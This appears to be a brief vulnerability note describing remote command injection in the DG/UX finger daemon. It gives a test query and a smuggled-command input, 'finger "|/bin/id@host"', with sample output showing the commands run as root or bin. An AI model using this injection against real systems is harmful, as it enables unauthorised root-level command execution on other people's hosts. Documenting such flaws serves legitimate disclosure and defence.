The finger daemon that ships with dgux will allow a remote user to pipe commands, often with uid root or bin. To check for this vulnerability, simply use the RFC compliant syntax: finger /W@host If it returns something like this, it may be vulnerable; Login name: /W In real life: ??? To see the uid in.fingerd is running as, try this; finger "|/bin/id@host" Often, you will see something like this; uid=0(root) gid=0(root) or uid=2(bin) gid=2(bin) groups=2(bin),3(sys),5(mail)